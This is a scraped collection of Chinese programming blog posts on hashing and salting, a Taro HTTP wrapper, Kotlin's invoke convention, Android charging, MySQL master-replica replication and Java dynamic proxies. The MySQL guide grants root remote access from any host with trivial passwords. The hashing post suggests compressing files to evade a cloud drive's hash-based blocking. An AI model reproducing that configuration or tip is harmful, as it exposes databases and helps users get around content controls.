咱们在用这个结果去解密试试



这个handsomezuyu就是盐了. 当然盐也可以是coolzuyu  也可以是excellentzuyu 也可以是 goodzuyu. 都可以都可以. 

查不到了吧. 厉害了吧. 可以了吧.这招还行吧. 既简单又实用.都学会了吧.

(注意一下这个方法的缺点.参与这个项目的人都知道这个盐的值吧.那么如果有一天某位参与这个项目开发的同事因为在聚餐的时候放了个屁被开除了.额.... 是吧.那他如果想搞事... 好了.当然也有避免这种情况发生的措施,咱们这篇闲聊中先不讲.)


2.搜索引擎

嗯?这个时候可能有些小可爱就要问了.搜索引擎?哈希?

咱们就简单说一下搜索引擎与哈希的关系

比如你百度搜 "帅逼 zuyu" 和" zuyu 帅逼" 这两个关键词

出现的结果如果没有"帅逼 zuyu"直接关联的内容.那么搜索过后呈现的内容是一样的

因为搜索时引擎会拆词 ,关键字会被拆成" 帅逼 "和"zuyu"两个词 .然后得到两个词的哈希值.然后在对位相加.   无论顺序是怎么样的.对位相加后的结果都一样吧!所以就会出现了我上边说的内容一样的现象. 当然这只是一小部分关系,里边还有很多更复杂的算法和逻辑.这儿咱们就不一一标出了(呵呵,我也不知道)

3.版权/云盘

唉?版权?有点懵?版权还能和hash有关系?

咱们就先说说版权.比如腾讯视频上. 你拍了一段视频然后上传  ,紧接着上传成功 .这个时候腾讯视频就记录下了这个视频的 hash值.并且认定这个版权是你的. 其他人在上传相同的视频之后就会提示该视频已存在等类似的提示信息(如果你通过下载或者修改格式等各方便因素影响.即使视频内容完全一样, hash 值也有可能不同)

那云盘呢.云盘和 hash 有啥 关系呢.

举个栗子奥.百度云大家应该都用过对吧,而且你不仅用过,你用来干嘛我也知道.嗯,看懂这句话的都是同道中人. 好.咱们说回原题. 你们上传一些学习资料的时候有没有遇到过一种现象呢?

不是和谐啊! 不是和谐! 不是和谐!!!

秒传! 对吧  .一个挺大的文件  就秒传上去了.这就是和 hash的关系了.   百度云盘在你上传某国学习资料的时候,会先去拿到你这个文件对应的 hash 值.  如果云盘服务器就会做一个 hash 值的对比 .如果 hash 只能匹配的到,那就是服务器有相同的数据.  然后服务器只不过就是在你的账号里加了一条数据而已   .并不是真的把这个学习资料传上去.    当你下载一些学习资料的时候或者上传一些学习资料的时候  . 也遇到过提示你这个学习资料因为某种原因不可以下载了吧.  是吧.也是这个道理.

所以阿.这个时候知道原理了.那是不是就是可以避免一些不开心的事情了(压缩会改变 hash 值.修改文件名字不会改变 hash 值.翻录或者剪辑视频会改变 hash 值) 好 ,刹车.

来,回想一下, 我上边说特点. 第五条  可称之为信息指纹,是用来做数据识别. 理解了吧

至于特点的第一条. 算法是公开的 .咱们了解就好

至于特点的第三条.对不同数据运算,如MD5得到的结果默认是128位,32个字符(16进制标识)到更像是一种规则

至于特点的第四条.逆运算的可能约等于0 .简单解释一下就是说目前人们所熟知的知识范畴内 hash 就是不可逆运算



收起阅读 »

Taro的http封装

 当我们使用Taro的时候,经常会用到http请求,那么又怎么封装呢?serve.ts import { request, getStorageSync } from '@tarojs/taro' class Server { protecte...
继续阅读 »

当我们使用Taro的时候,经常会用到http请求,那么又怎么封装呢?

serve.ts


import { request, getStorageSync } from '@tarojs/taro'

class Server {
protected ajax({
url,
data,
method = 'GET',
...restParams
}: Taro.RequestParams
) {
// 用户token
const Authorization: string = getStorageSync('token') || ''
// 判断请求类型
let contentType: string
// GET请求
if (method === 'GET') {
contentType = 'application/json'
// POST 请求
} else if (method === 'POST') {
contentType = 'application/x-www-form-urlencoded'
}
return new Promise<Taro.request.SuccessCallbackResult>(
(resolve, reject) => {
request({
url,
data,
method,
header: {
'content-type': contentType,
Authorization,
},
...restParams,
// 成功回调
success(res: Taro.request.SuccessCallbackResult): void {
resolve(res)
},
// 失败回调
fail(err: Taro.General.CallbackResult): void {
reject(err)
},
})
}
)
}
}

export default Server

引用时


import Server from './serve'

let BASEURL: string
if (process.env.TARO_ENV === 'h5') {
BASEURL = '/api'
} else {
BASEURL = 'http://localhost:8000/api'
}

type Result = Taro.request.SuccessCallbackResult<any> | undefined

interface Err {
code: number
message: string
}

interface APILayout<T> {
status: number,
code: number
data: T
}
interface APIMessage<T> {
code: number
message: T
}

// 异常处理
function errMessage(error: Error | any, result: Result): Err | null {
console.log(error);

// H5
if (H5 && !error) {
return null
} else if (result?.statusCode === 200) {
return null
}
const code = error?.status || result?.statusCode
if (code === 401) {
// 清空token
}
const errInfo = {
401: '请先登录',
404: '服务器未响应',
500: '服务器繁忙',
}
return {
code,
message: errInfo[code] ? errInfo[code] : error.info,
}
}
export async function testAPI() {
let [error, result] = await to(
this.ajax({
url: BASEURL + '/test.php'
})
)
const err = errMessage(error, result)
const res: APILayout<Ip> = result?.data

return { err, res }
}

ok 直接用就行了













收起阅读 »

Kotlin invoke约定,让Kotlin代码更简洁

前言 最近看到DSL这个东西,不由的觉得里面可以利用Kotlin的一些特性能简化代码,所以具体来看看它是如何实现的。 正文 首先一上来就说原理或许对于不熟悉Kotlin的来说会感觉有点突兀,所以我准备从头梳理一下。 约定 Kotlin的约定我们在平时开发中肯定...
继续阅读 »

前言


最近看到DSL这个东西,不由的觉得里面可以利用Kotlin的一些特性能简化代码,所以具体来看看它是如何实现的。


正文


首先一上来就说原理或许对于不熟悉Kotlin的来说会感觉有点突兀,所以我准备从头梳理一下。


约定


Kotlin的约定我们在平时开发中肯定用到过,不过我们没有仔细去注意这个名词而已。约定的概念就是:使用与常规方法调用语法不同的、更简洁的符号,调用着有着特殊命名的函数。


这里提取2个关键点,一个是更简洁的符号调用,一个是特殊命名的函数。说白了就是让函数调用更加简洁。


比如我们最熟悉的集和调用 [index] 来 替代 get(index),我们自己也来定义个类,来实现一下这个约定:


data class TestBean(val name: String,val age: Int){
//定义非常简单 使用operator重载运算符get方法
operator fun get(index : Int): Any{
return when(index) {
0 -> name
1 -> age
else -> name
}
}

}

然后我们在使用时:


//这里就可以使用 [] 来替换 get来简化调用方法了
val testBean = TestBean("zyh",20)
testBean.get(0)
testBean[0]

invoke约定


和上面的get约定一样,[] 就是调用 get 方法的更简洁的方式,这里有个invoke约定,它的作用就是让对象像函数一样调用方法,下面直接来个例子:



data class TestBean(val name: String,val age: Int){

//重载定义invoke方法
operator fun invoke() : String{
return "$name - $age"
}

}

定义完上面代码后,我们来进行使用:


val testBean = TestBean("zyh",20)
//正常调用
testBean.invoke()
//约定后的简化调用
testBean()

这里会发现testBean对象可以调用invoke方法是正常调用,但是也可以testBean()直接来调用invoke方法,这就是invoke约定的作用,让调用invoke方法更简单。


invoke约定和函数式类型


既然了解了invoke约定,我们来和lambda结合起来。


对于lambda有点疑惑的可以查看文章:


# Kotlin lambda,有你想了解的一切


我们知道函数类型其实就是实现了FunctionN接口的类,然后当函数类型是函数类型时,这时传递给它一个lambda,lambda就会被编译成FunctionN的匿名内部类(当然是非内联的),然后调用lambda就变成了一次FunctionN接口的invoke调用。


还是看个例子代码:


//定义代码
class TestInvoke {
//高阶函数类型变量
private var mSingleListener: ((Int) -> Unit)? = null
//设置变量
public fun setSingleListener(listener:((Int) -> Unit)?){
this.mSingleListener = listener
}
//
fun testRun() {
//调用invoke函数
mSingleListener?.invoke(100)
//使用invoke约定,省去invoke
if (mSingleListener != null){
mSingleListener!!(100)
}
}

}

定义完上面回调变量后,我们来使用这个回调,由于我们知道高阶函数其实是实现了FunctionN接口的类,也就是实现了:


//注意,这里接口的方法就是invoke
public interface Function1<in P1, out R> : Function<R> {
/** Invokes the function with the specified argument. */
public operator fun invoke(p1: P1): R
}

那我也就可以直接使用下面代码来传递参数:


val function1 = object: Function1<Int,Unit> {
override fun invoke(p1: Int) {
Logger.d("$p1")
}
}
testInvoke.setSingleListener(function1)

这里看起来合情合理,因为在testRun函数中我们调用了invoke函数,把100当做参数,然后这个100会被回调到function1中,但是我们传递lambda时呢:


val testInvoke  = TestInvoke()
testInvoke.setSingleListener { returnInt ->
Logger.d("$returnInt")
}

上面代码传递lambda和传递一个类的实例效果是一样的,只不过这里只是一段代码块,没有显示的调用invoke啥的,所以这就是一个特性,当lambda被用作参数被函数调用时,也就可以看成是一次invoke的自动调用


invoke在DSL中的实践:Gradle依赖


这里我们为什么要说这个invoke依赖呢,很大的原因就是它在一些DSL中有很好的用法,这里我们就来看个Gradle依赖的使用。


我们很常见下面代码:


dependencies {

implementation 'androidx.core:core-ktx:1.6.0'
implementation 'androidx.appcompat:appcompat:1.3.1'
//...
}

这里我们都很习以为常,感觉这里很像配置项,而不像是代码,其实这个也是一段代码,只不过是这种风格。那这种风格如何实现呢,我们来简单实现一下:


class DependencyHandler{
//编译库
fun compile(libString: String){
Logger.d("add $libString")
}
//定义invoke方法
operator fun invoke(body: DependencyHandler.() -> Unit){
body()
}
}

上面代码写完后,我们便可以有下面3种调用方式:


val dependency = DependencyHandler()
//调用invoke
dependency.invoke {
compile("androidx.core:core-ktx:1.6.0")
}
//直接调用
dependency.compile("androidx.core:core-ktx:1.6.0")
//带接受者lambda方式
dependency{
compile("androidx.core:core-ktx:1.6.0")
}

由此可见,上面代码第三种方式便是我们在Gradle配置文件中常见的一种,这里其实就2个关键点,一个是定义invoke函数,一个是定义带接受者的lambda,调用时省去this即可。


总结


其实关于invoke约定和带接受者lambda的写法现在越来越流行了,比如之前的anko库,现在的compose库都是这种声明式的写法,看完原理后,就会发现其实还是很方便的。


后续开始研究compose的时候,再来补充一波。


作者:元浩875
链接:https://juejin.cn/post/7047028786969346079
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

android充电架构的分析

前言 目前android设备越来越多,对于快速充电和长时间待机的需求就不言而喻。对应于此的就是各大手机厂商不断突破大功率充电新闻频繁的出现。在个人目前遇到的快充方案中,基本上在大的架构下属于同一种类型。故分析记录下来。 基本原理 充电简单粗暴点来说就是把电流灌...
继续阅读 »

前言


目前android设备越来越多,对于快速充电和长时间待机的需求就不言而喻。对应于此的就是各大手机厂商不断突破大功率充电新闻频繁的出现。在个人目前遇到的快充方案中,基本上在大的架构下属于同一种类型。故分析记录下来。


基本原理


充电简单粗暴点来说就是把电流灌到电池里面去。那么最简单的方法就是直接拿一个电源接在电池的正负极。只要电源电压高于电池电压就可以把电流灌进去。就如同直接打开水龙头开关接水一样。


但是这样会存在很多问题。例如:电池此时的电压很小,电源电压很高,一怼上电池上的电流就会变得非常大,很可能烧坏电池。所以需要根据电池的电压来调节输入电源的电压。这样又会出现充一会后就调一下电压,太麻烦了。因此可以使用计算机来完成这些动作,通过一颗锂电池充放电芯片来管理充放电的过程。


使用锂电池充电芯片,整个充电过程大致分成了三个阶段:分别是预充、恒流、恒压。

image

上图是各个阶段电池电流,电压的状态。

但是该方案存在转化效率较低的问题,特别是在大功率的情况下,损耗太大。因此在手机里不常采用这个方案,不过无论怎样,基本的充电曲线还是和上图保持一致的。


基本硬件架构


现在手机充电的基本架构如下图所示

image


电源输入


首先是电源的输入。目前手机上输入电源普遍支持有线和无线两种方式。在该架构下并不是简单让电源输入一个固定电压完成充电。而在由ap在不同阶段调节输入电源的功率。因此电源的提供需要支持调压的过程。现在在无线中常使用qi协议,而有线中常使用pd协议。


充电模块


充电模块现在主要由main charger(充电芯片)和charger pump(电荷泵芯片)构成,因为charger pump在大电流的情况下效率很高。整个充电过程依旧和上面的充电曲线基本一致。只不过此时的cc阶段和前半段的cv阶段由charger pump来完成,其余的由main charger来完成


main charger芯片在自身集成了数字逻辑,所以可以自动的切换各个阶段。而charger pump则不是这样,它只是一个模拟器件,我们可以把它理解成一个开关(经过它以后电流升一倍,电压降一半。譬如输入10v,5a输出就是5v,10a


故在使用过程中通过ap的程序来模拟充电阶段。比如我们规定在cc阶段下的电流是6a,而此时ap采集到的电流是4a。那我们就通过协议去增大电源的输入;采集到的电流大于6a则降低电源的输入。


电量计模块


电量计模块主要是获取电池的电量信息。然后上层可以获得电池剩余电量百分比等。


软件架构


android手机内核采用的是linux内核,android有很多层。单单对于充电功能来说可以把它分为2层,一层是kernel里的驱动和逻辑实现,另一层是上层。android界面上显示和充电相关的信息就需要从kernel这一层拿。


在内核中一切皆文件,那对于充电这部分来说也不例外。上层获取的信息都是从/sys/class/power supply路径获取的。这个路径是由代码决定的(源码路径:/system/core/healthd/BatteryMonitor.cpp)

image

在充电信息发生改变的时候kernel就会调用uevent,上层就会接收到,然后执行下面的函数更新状态。


bool BatteryMonitor::update(void) {
bool logthis;

initBatteryProperties(&props);

if (!mHealthdConfig->batteryPresentPath.isEmpty())
props.batteryPresent = getBooleanField(mHealthdConfig->batteryPresentPath);
else
props.batteryPresent = mBatteryDevicePresent;

props.batteryLevel = mBatteryFixedCapacity ?
mBatteryFixedCapacity :
getIntField(mHealthdConfig->batteryCapacityPath);
props.batteryVoltage = getIntField(mHealthdConfig->batteryVoltagePath) / 1000;

if (!mHealthdConfig->batteryCurrentNowPath.isEmpty())
props.batteryCurrent = getIntField(mHealthdConfig->batteryCurrentNowPath) / 1000;

if (!mHealthdConfig->batteryFullChargePath.isEmpty())
props.batteryFullCharge = getIntField(mHealthdConfig->batteryFullChargePath);

if (!mHealthdConfig->batteryCycleCountPath.isEmpty())
props.batteryCycleCount = getIntField(mHealthdConfig->batteryCycleCountPath);

if (!mHealthdConfig->batteryChargeCounterPath.isEmpty())
props.batteryChargeCounter = getIntField(mHealthdConfig->batteryChargeCounterPath);

props.batteryTemperature = mBatteryFixedTemperature ?
mBatteryFixedTemperature :
getIntField(mHealthdConfig->batteryTemperaturePath);

std::string buf;

if (readFromFile(mHealthdConfig->batteryStatusPath, &buf) > 0)
props.batteryStatus = getBatteryStatus(buf.c_str());

if (readFromFile(mHealthdConfig->batteryHealthPath, &buf) > 0)
props.batteryHealth = getBatteryHealth(buf.c_str());

if (readFromFile(mHealthdConfig->batteryTechnologyPath, &buf) > 0)
props.batteryTechnology = String8(buf.c_str());

unsigned int i;
double MaxPower = 0;

for (i = 0; i < mChargerNames.size(); i++) {
String8 path;
path.appendFormat("%s/%s/online", POWER_SUPPLY_SYSFS_PATH,
mChargerNames[i].string());
if (getIntField(path)) {
path.clear();
path.appendFormat("%s/%s/type", POWER_SUPPLY_SYSFS_PATH,
mChargerNames[i].string());
switch(readPowerSupplyType(path)) {
case ANDROID_POWER_SUPPLY_TYPE_AC:
props.chargerAcOnline = true;
break;
case ANDROID_POWER_SUPPLY_TYPE_USB:
props.chargerUsbOnline = true;
break;
case ANDROID_POWER_SUPPLY_TYPE_WIRELESS:
props.chargerWirelessOnline = true;
break;
default:
KLOG_WARNING(LOG_TAG, "%s: Unknown power supply type\n",
mChargerNames[i].string());
}
path.clear();
path.appendFormat("%s/%s/current_max", POWER_SUPPLY_SYSFS_PATH,
mChargerNames[i].string());
int ChargingCurrent =
(access(path.string(), R_OK) == 0) ? getIntField(path) : 0;

path.clear();
path.appendFormat("%s/%s/voltage_max", POWER_SUPPLY_SYSFS_PATH,
mChargerNames[i].string());

int ChargingVoltage =
(access(path.string(), R_OK) == 0) ? getIntField(path) :
DEFAULT_VBUS_VOLTAGE;

double power = ((double)ChargingCurrent / MILLION) *
((double)ChargingVoltage / MILLION);
if (MaxPower < power) {
props.maxChargingCurrent = ChargingCurrent;
props.maxChargingVoltage = ChargingVoltage;
MaxPower = power;
}
}
}

logthis = !healthd_board_battery_update(&props);

if (logthis) {
char dmesgline[256];
size_t len;
if (props.batteryPresent) {
snprintf(dmesgline, sizeof(dmesgline),
"battery l=%d v=%d t=%s%d.%d h=%d st=%d",
props.batteryLevel, props.batteryVoltage,
props.batteryTemperature < 0 ? "-" : "",
abs(props.batteryTemperature / 10),
abs(props.batteryTemperature % 10), props.batteryHealth,
props.batteryStatus);

len = strlen(dmesgline);
if (!mHealthdConfig->batteryCurrentNowPath.isEmpty()) {
len += snprintf(dmesgline + len, sizeof(dmesgline) - len,
" c=%d", props.batteryCurrent);
}

if (!mHealthdConfig->batteryFullChargePath.isEmpty()) {
len += snprintf(dmesgline + len, sizeof(dmesgline) - len,
" fc=%d", props.batteryFullCharge);
}

if (!mHealthdConfig->batteryCycleCountPath.isEmpty()) {
len += snprintf(dmesgline + len, sizeof(dmesgline) - len,
" cc=%d", props.batteryCycleCount);
}
} else {
len = snprintf(dmesgline, sizeof(dmesgline),
"battery none");
}

snprintf(dmesgline + len, sizeof(dmesgline) - len, " chg=%s%s%s",
props.chargerAcOnline ? "a" : "",
props.chargerUsbOnline ? "u" : "",
props.chargerWirelessOnline ? "w" : "");

KLOG_WARNING(LOG_TAG, "%s\n", dmesgline);
}

healthd_mode_ops->battery_update(&props);
return props.chargerAcOnline | props.chargerUsbOnline |
props.chargerWirelessOnline;
}


很显然可以从code看出,通过该路径下文件夹里的type文件的值,来获得不同的信息。
例如
image

此时我进入到test_usb节点下,type为usb。然后online节点则表示usb连接是否在线,此时为1,则表示usb连接,充电图标会亮起来。

image

然后通过命令echo 0 > online ,强制将该值写为0。充电图标消失。

image


故在手机端充电相关的开发基本围绕着power supply架构展开的。下面依次从kernel到上层应用进行分析。



作者:Air-Liu
链接:https://juejin.cn/post/7047081152372277262
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

手把手带你配置MySQL主备环境

为了保障生产数据的安全性,我们往往需要对数据库做备份,而通过MySQL主备配置,则是一种MySQL数据库备份的好的实现方案。本文将一步步带你搭建MySQL主备环境。MySQL主备搭建现有两台虚拟机,192.168.56.11(主)和192.168.56.12(...
继续阅读 »



为了保障生产数据的安全性,我们往往需要对数据库做备份,而通过MySQL主备配置,则是一种MySQL数据库备份的好的实现方案。本文将一步步带你搭建MySQL主备环境。

MySQL主备搭建

现有两台虚拟机,192.168.56.11(主)和192.168.56.12(备)

1 MySQL安装

离线安装解压版MySQL

1 上传压缩包
  • 以root用户上传mysql-5.7.29-linux-glibc2.12-x86_64.tar.gz到/root/Downloads/下

2 解压
  • cd /root/Downloads

  • tar -zxvf mysql-5.7.29-linux-glibc2.12-x86_64.tar.gz

  • mv mysql-5.7.29-linux-glibc2.12-x86_64 mysql5.7

  • mkdir /usr/database

  • mv mysql5.7 /usr/database

3 创建系统用户组和用户
  • groupadd mysql

  • useradd -r -g mysql mysql

  • id mysql

4 创建mysql data目录
  • cd /usr/database/mysql5.7

  • mkdir data

4 设置data目录权限
  • chown -R mysql:mysql /usr/database/mysql5.7/

  • ll /usr/database

5 修改my.cnf文件

删除并重新创建/etc/my.cnf:

rm -rf /etc/my.cnf
vim /etc/my.cnf
[client]
port = 3306
socket = /tmp/mysql.sock

[mysqld]
init-connect='SET NAMES utf8'
basedir=/usr/database/mysql5.7     #根据自己的安装目录填写
datadir=/usr/database/mysql5.7/data #根据自己的mysql数据目录填写
socket=/tmp/mysql.sock
max_connections=200                 # 允许最大连接数
character-set-server=utf8           # 服务端使用的字符集默认为8比特编码的latin1字符集
default-storage-engine=INNODB       # 创建新表时将使用的默认存储引擎

最大连接数

  • max_connections<=16384

  • 管理员(SUPER)登录的连接,不计其中

  • mysql会为每个连接提供连接缓冲区,连接越多内存开销越大

  • 查询:show variables like '%_connections';show status like '%_connections';

  • max_used_connections / max_connections * 100% (理想值≈ 85%)

  • 数值过小会经常出现ERROR 1040: Too many connections错误

  • 修改方法:

    • 永久:在配置文件my.cnf中设置max_connections的值

    • 临时:以root登录mysql:set GLOBAL max_connections=xxx;->flush privileges;

mysql存储引擎

  • InnoDB:5.5及之后版本的默认引擎

    • 支持事务

    • 聚集索引,文件存放在主键索引的叶子节点上,必须要有主键。通过主键索引效率很高,但是辅助索引需要两次查询,先查询到主键,然后再通过主键查询到数据。因此,主键不应该过大,因为主键太大,其他索引也都会很大。

    • 不支持全文类型索引

    • 支持外键

    • 不保存表的具体行数,执行 select count(*) from table 时需要全表扫描。

    • 最小锁粒度是行锁

    • 适用场景:支持事物、较多写操作、系统崩溃后相对易恢复

  • MyISAM:5.5版本之前的默认引擎

    • 不支持事务

    • 非聚集索引,数据文件是分离的,索引保存的是数据文件的指针,主键索引和辅助索引是独立的。

    • 保存了整个表的行数,执行select count(*) 时只需要读出该变量即可,速度很快;

    • 支持全文类型索引

    • 不支持外键

    • 最小锁粒度是表锁,一个更新语句会锁住整张表,导致其他查询和更新都被阻塞,因此并发访问受限

    • 表以文件形式保存,跨平台使用较方便

    • 适用场景:非事物型、读操作、小型应用

6 mysql初始化
  • /usr/database/mysql5.7/bin/mysqld --initialize-insecure --user=mysql --basedir=/usr/database/mysql5.7 --datadir=/usr/database/mysql5.7/data

#注意:mysqld --initialize-insecure初始化后的mysql是没有密码的

  • chown -R root:root /usr/database/mysql5.7/ #把安装目录的目录的权限所有者改为root

  • chown -R mysql:mysql /usr/database/mysql5.7/data/ #把data目录的权限所有者改为mysql

7 启动mysql
/usr/database/mysql5.7/bin/mysqld_safe --user=mysql &
8 修改root密码
  • cd /usr/database/mysql5.7/bin

  • ./mysql -u root -p # 默认没有密码,直接回车就行

  • use mysql;

  • update user set authentication_string=password('``rootpasswd``') where user='root';

  • flush privileges;

  • exit;

9 登录测试
  • /usr/database/mysql5.7/bin/mysql mysql -u root -p

  • (输入密码)

  • show databases;

  • exit;

10 启动设置
  • cp /usr/database/mysql5.7/support-files/mysql.server /etc/init.d/mysql

  • chkconfig --add mysql # 添加服务

  • chkconfig --list # 查看服务列表

  • chkconfig --level 345 mysql on # 设置开机启动

11 测试服务命令是否可用
  • systemctl status mysql

  • systemctl start mysql

  • systemctl stop mysql

12 设置远程访问
  • 登录数据库:mysql -uroot -p[password]

  • use mysql;

  • select host,user from user;

  • update user set host='%' where user='root';

  • flush privileges;

  • 如果还是无法访问,检查防火墙

13 创建新用户
  • 创建用户app:create user 'app'@'%' identified by 'password';

  • 用户赋权(具有数据库appdb的所有权限,并可远程不限ip访问):grant all on appdb.* to 'app'@'%';

  • flush privilegesl;

14 其他问题
  • -bash: mysql: command not found

    • 临时方案,重新登录后失效:alias mysql=/usr/database/mysql5.7/bin/mysql

    • 永久方案,将命令路径添加到PATH中:

      • vim /etc/profile

      • PATH="$PATH:/usr/database/mysql5.7/bin"

      • source /etc/profile

2 主备配置

1 生产环境为什么需要MySQL集群
  • 高可用性,在主节点失效时自动切换,不需要技术人员紧急处理

  • 高吞吐,可以多个节点同时提供读取数据服务,降低主节点负载,实现高吞吐

  • 可扩展性强,支持在线扩容

  • 无影响备份,在备节点进行备份操作不会对业务产生影响

MySQL集群的缺点:

  • 架构复杂,在部署、管理方面对技术人员要求高

  • 备节点拉取主节点日志时会对主节点服务器性能有一定影响

  • 如果配置了半同步复制,会对事物提交有一定影响

2 修改my.cnf
  • 主备服务器均创建日志文件路径:mkdir /data/mysql_log

  • 修改master下的/etc/my.cnf:

[client]
port = 3306
default-character-set=utf8mb4
socket = /usr/database/mysql5.7/mysql.sock

[mysqld]
basedir = /usr/database/mysql5.7
datadir = /usr/database/mysql5.7/data
tmpdir = /tmp
socket = /tmp/mysql.sock
# pid-file = /data/mysql_db/mysql_seg_3306/mysql.pid
skip-external-locking = 1
skip-name-resolve = 1
port = 3306
server-id = 113306

default-storage-engine = InnoDB
character-set-server = utf8mb4
default_password_lifetime=0

#### log ####
log_timestamps=system
log_bin = /data/mysql_log/mysql-bin
log_bin_index = /data/mysql_log/mysql-bin.index
binlog_format = row
relay_log_recovery=ON
relay_log=/data/mysql_log/mysql-relay-bin
relay_log_index=/data/mysql_log/mysql-relay-bin.index
log_error = /data/mysql_log/mysql-error.log

#### replication ####
replicate_wild_ignore_table = information_schema.%,performance_schema.%,sys.%

#### semi sync replication settings #####
plugin_dir=/usr/database/mysql5.7/lib/plugin
plugin_load = "rpl_semi_sync_master=semisync_master.so;rpl_semi_sync_slave=semisync_slave.so"
loose_rpl_semi_sync_master_enabled = 1
loose_rpl_semi_sync_slave_enabled = 1
loose_rpl_semi_sync_master_timeout = 5000
  • 修改slave下的/etc/my.cnf:

[client]
port = 3306
default-character-set=utf8mb4
socket = /usr/database/mysql5.7/mysql.sock

[mysqld]
basedir = /usr/database/mysql5.7
datadir = /usr/database/mysql5.7/data
tmpdir = /tmp
socket = /tmp/mysql.sock
# pid-file = /data/mysql_db/mysql_seg_3306/mysql.pid
skip-external-locking = 1
skip-name-resolve = 1
port = 3306
server-id = 123306
read-only=1

default-storage-engine = InnoDB
character-set-server = utf8mb4
default_password_lifetime=0

#### log ####
log_timestamps=system
log_bin = /data/mysql_log/mysql-bin
log_bin_index = /data/mysql_log/mysql-bin.index
binlog_format = row
relay_log_recovery=ON
relay_log=/data/mysql_log/mysql-relay-bin
relay_log_index=/data/mysql_log/mysql-relay-bin.index
log_error = /data/mysql_log/mysql-error.log

#### replication ####
replicate_wild_ignore_table = information_schema.%,performance_schema.%,sys.%

#### semi sync replication settings #####
plugin_dir=/usr/database/mysql5.7/lib/plugin
plugin_load = "rpl_semi_sync_master=semisync_master.so;rpl_semi_sync_slave=semisync_slave.so"
loose_rpl_semi_sync_master_enabled = 1
loose_rpl_semi_sync_slave_enabled = 1
loose_rpl_semi_sync_master_timeout = 5000
  • utf8:最大unicode字符是0xffff,仅支持Unicode 中的基本多文种平面(BMP),任何不在基本多文本平面的 Unicode字符,都无法使用 Mysql 的 utf8 字符集存储。

  • utf8mb4(most bytes 4)专门用来兼容四字节的unicode,是utf8的超集,包含很多不常用的汉字、Emoji表情,以及任何新增的 Unicode 字符等等

3 master上创建同步用户
  • mysql -uroot -proot

  • use mysql;

  • create user 'repl'@'%' identified by 'repl';

  • grant replication slave on . to 'repl'@'%';

  • flush privileges;

4 备份master数据库
/usr/database/mysql5.7/bin/mysqldump -S /tmp/mysql.sock -F --opt -R --single-transaction --master-data=2 --default-character-set=utf8 -A > mysql_backup_full.sql

上述命令报错,1045,增加登录信息:

/usr/database/mysql5.7/bin/mysqldump -uroot -proot -S /tmp/mysql.sock -F --opt -R --single-transaction --master-data=2 --default-character-set=utf8 -A > mysql_backup_full.sql

导出指定数据库(仅表结构):

/usr/database/mysql5.7/bin/mysqldump -uroot -proot -S /tmp/mysql.sock -F --opt -R --single-transaction --master-data=2 --default-character-set=utf8 -d testdb1 testdb2 > mysql_backup_test.sql

导出指定数据库(表结构+数据):

**/usr/database/mysql5.7/bin/mysqldump -uroot -proot -S /tmp/mysql.sock -F --opt -R --single-transaction --master-data=2 --default-character-set=utf8 testdb1 testdb2 > mysql_backup_testdatas.sql**
5 slave上恢复master数据库

master推送sql:rsync -avzP mysql_backup_test.sql 192.168.56.12:/root/Downloads/

slave导入sql:/usr/database/mysql5.7/bin/mysqldump -S /tmp/mysql.sock < mysql_backup_test.sql

上述命令不成功,需先创建数据库,改为下述操作:

**mysql -uroot -proot**
**use test;**
**source /root/Downloads/**``**mysql_backup_test.sql**
6 开启同步
  • mysql命令行中查看master status中的File和Position参数:show master status;

    • 查看进程:show processlist\G

  • slave的mysql命令行执行:

mysql> CHANGE MASTER TO
   -> MASTER_HOST='192.168.41.83',
   -> MASTER_PORT=3306,
   -> MASTER_USER='repl',
   -> MASTER_PASSWORD='repl',
   -> MASTER_LOG_FILE='mysql-bin.000004',
   -> MASTER_LOG_POS=154;
mysql> start slave;
mysql> show slave status\G

状态中注意这几项:

Slave_IO_Running:取 Master 日志的线程, Yes 为正在运行

Slave_SQL_Running:从日志恢复数据的线程, Yes 为正在运行

Seconds_Behind_Master:当前数据库相对于主库的数据延迟, 这个值是根据二进制日志的时间戳计算得到的(秒)

7 同步测试

master数据库插入一条数据,可用看到slave同步更新了

主备有了,要是能够故障自动切换就完美了,这正是下一篇内容。

引用请注明出处!

收起阅读 »

动态代理是如何实现的?JDK Proxy 和 CGLib 有什么区别?

90% 的程序员直接或者间接的使用过动态代理,无论是日志框架或 Spring 框架,它们都包含了动态代理的实现代码。动态代理是程序在运行期间动态构建代理对象和动态调用代理方法的一种机制。今天的面试题是:如何实现动态代理?JDK Proxy 和 CGLib 有什...
继续阅读 »



90% 的程序员直接或者间接的使用过动态代理,无论是日志框架或 Spring 框架,它们都包含了动态代理的实现代码。动态代理是程序在运行期间动态构建代理对象和动态调用代理方法的一种机制。

今天的面试题是:如何实现动态代理?JDK Proxy 和 CGLib 有什么区别?

典型回答

动态代理的常用实现方式是反射。反射机制 是指程序在运行期间可以访问、检测和修改其本身状态或行为的一种能力,使用反射我们可以调用任意一个类对象,以及类对象中包含的属性及方法。

但动态代理不止有反射一种实现方式,例如,动态代理可以通过 CGLib 来实现,而 CGLib 是基于 ASM(一个 Java 字节码操作框架)而非反射实现的。简单来说,动态代理是一种行为方式,而反射或 ASM 只是它的一种实现手段而已。

JDK Proxy 和 CGLib 的区别主要体现在以下几个方面:

  • JDK Proxy 是 Java 语言自带的功能,无需通过加载第三方类实现;

  • Java 对 JDK Proxy 提供了稳定的支持,并且会持续的升级和更新 JDK Proxy,例如 Java 8 版本中的 JDK Proxy 性能相比于之前版本提升了很多;

  • JDK Proxy 是通过拦截器加反射的方式实现的;

  • JDK Proxy 只能代理继承接口的类;

  • JDK Proxy 实现和调用起来比较简单;

  • CGLib 是第三方提供的工具,基于 ASM 实现的,性能比较高;

  • CGLib 无需通过接口来实现,它是通过实现子类的方式来完成调用的。

考点分析

此面试题考察的是你对反射、动态代理及 CGLib 的了解,很多人经常会把反射和动态代理划为等号,但从严格意义上来说,这种想法是不正确的,真正能搞懂它们之间的关系,也体现了你扎实 Java 的基本功。和这个问题相关的知识点,还有以下几个:

  • 你对 JDK Proxy 和 CGLib 的掌握程度。

  • Lombok 是通过反射实现的吗?

  • 动态代理和静态代理有什么区别?

  • 动态代理的使用场景有哪些?

  • Spring 中的动态代理是通过什么方式实现的?

知识扩展

1.JDK Proxy 和 CGLib 的使用及代码分析

JDK Proxy 动态代理实现

